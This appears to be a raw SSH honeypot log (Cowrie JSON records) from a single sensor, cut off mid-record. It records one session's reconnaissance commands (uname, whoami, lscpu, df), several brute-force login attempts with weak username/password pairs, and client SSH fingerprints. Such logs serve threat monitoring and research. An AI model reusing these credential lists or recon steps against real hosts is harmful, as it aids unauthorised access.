{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:43.302811Z","src_ip":"154.81.14.172","session":"f4f1a534f31a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:43.305284Z","src_ip":"154.81.14.172","session":"f4f1a534f31a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:43.525402Z","src_ip":"154.81.14.172","session":"f4f1a534f31a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:43.990741Z","src_ip":"154.81.14.172","session":"f4f1a534f31a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:43.993082Z","src_ip":"154.81.14.172","session":"f4f1a534f31a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:44.213154Z","src_ip":"154.81.14.172","session":"f4f1a534f31a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:44.695136Z","src_ip":"154.81.14.172","session":"f4f1a534f31a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:44.699937Z","src_ip":"154.81.14.172","session":"f4f1a534f31a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:44.921945Z","src_ip":"154.81.14.172","session":"f4f1a534f31a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:45.391926Z","src_ip":"154.81.14.172","session":"f4f1a534f31a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:45.395307Z","src_ip":"154.81.14.172","session":"f4f1a534f31a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:45.616214Z","src_ip":"154.81.14.172","session":"f4f1a534f31a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:46.092492Z","src_ip":"154.81.14.172","session":"f4f1a534f31a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:46.095507Z","src_ip":"154.81.14.172","session":"f4f1a534f31a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:46.317562Z","src_ip":"154.81.14.172","session":"f4f1a534f31a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:46.805519Z","src_ip":"154.81.14.172","session":"f4f1a534f31a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:46.807980Z","src_ip":"154.81.14.172","session":"f4f1a534f31a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:47.029120Z","src_ip":"154.81.14.172","session":"f4f1a534f31a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"23.3","message":"Connection lost after 23.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:47.033427Z","src_ip":"154.81.14.172","session":"f4f1a534f31a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.69.147","src_port":39400,"dst_ip":"159.203.135.109","dst_port":22,"session":"2279eea26581","protocol":"ssh","message":"New connection: 43.173.69.147:39400 (159.203.135.109:22) [session: 2279eea26581]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:48:00.550562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:48:00.555457Z","src_ip":"43.173.69.147","session":"2279eea26581","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:48:00.623588Z","src_ip":"43.173.69.147","session":"2279eea26581","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"eva","message":"login attempt [admin/eva] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:48:00.925679Z","src_ip":"43.173.69.147","session":"2279eea26581","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:48:01.997710Z","src_ip":"43.173.69.147","session":"2279eea26581","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.125.103.201","src_port":39816,"dst_ip":"10.17.0.5","dst_port":22,"session":"70891edbc2fd","protocol":"ssh","message":"New connection: 103.125.103.201:39816 (10.17.0.5:22) [session: 70891edbc2fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:48:03.070575Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:48:03.075318Z","src_ip":"103.125.103.201","session":"70891edbc2fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:48:03.317836Z","src_ip":"103.125.103.201","session":"70891edbc2fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"11111111","message":"login attempt [user/11111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:48:04.304733Z","src_ip":"103.125.103.201","session":"70891edbc2fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:48:05.545300Z","src_ip":"103.125.103.201","session":"70891edbc2fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.158.40.65","src_port":40712,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e5a27a42386","protocol":"ssh","message":"New connection: 103.158.40.65:40712 (159.203.135.109:22) [session: 8e5a27a42386]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:48:07.495382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:48:07.500437Z","src_ip":"103.158.40.65","session":"8e5a27a42386","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:48:07.716963Z","src_ip":"103.158.40.65","session":"8e5a27a42386","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"composeruser","password":"123456","message":"login attempt [composeruser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:48:08.608458Z","src_ip":"103.158.40.65","session":"8e5a27a42386","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:48:09.827813Z","src_ip":"103.158.40.65","session":"8e5a27a42386","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"131.161.219.137","src_port":8266,"dst_ip":"159.203.135.109","dst_port":22,"session":"51b6b2b340e7","protocol":"ssh","message":"New connection: 131.161.219.137:8266 (159.203.135.109:22) [session: 51b6b2b340e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:48:11.439472Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:48:11.444899Z","src_ip":"131.161.219.137","session":"51b6b2b340e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:48:11.574688Z","src_ip":"131.161.219.137","session":"51b6b2b340e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"22222","message":"login attempt [ubuntu/22222] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:48:12.118967Z","src_ip":"131.161.219.137","session":"51b6b2b340e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:48:13.251427Z","src_ip":"131.161.219.137","session":"51b6b2b340e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.97.227.163","src_port":53912,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5d4c6f51ab7","protocol":"ssh","message":"New connection: 181.97.227.163:53912 (10.17.0.5:22) [session: a5d4c6f51ab7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:48:17.945091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:48:17.949545Z","src_ip":"181.97.227.163","session":"a5d4c6f51ab7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:48:18.157442Z","src_ip":"181.97.227.163","session":"a5d4c6f51ab7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.6.100.191","src_port":41716,"dst_ip":"159.203.135.109","dst_port":22,"session":"d28417710a33","protocol":"ssh","message":"New connection: 201.6.100.191:41716 (159.203.135.109:22) [session: d28417710a33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:48:18.470569Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:48:18.475338Z","src_ip":"201.6.100.191","session":"d28417710a33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:48:18.614621Z","src_ip":"201.6.100.191","session":"d28417710a33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"84.239.42.8","src_port":47872,"dst_ip":"159.203.135.109","dst_port":22,"session":"2223adc24812","protocol":"ssh","message":"New connection: 84.239.42.8:47872 (159.203.135.109:22) [session: 2223adc24812]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:48:18.763373Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:48:18.769821Z","src_ip":"84.239.42.8","session":"2223adc24812","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchang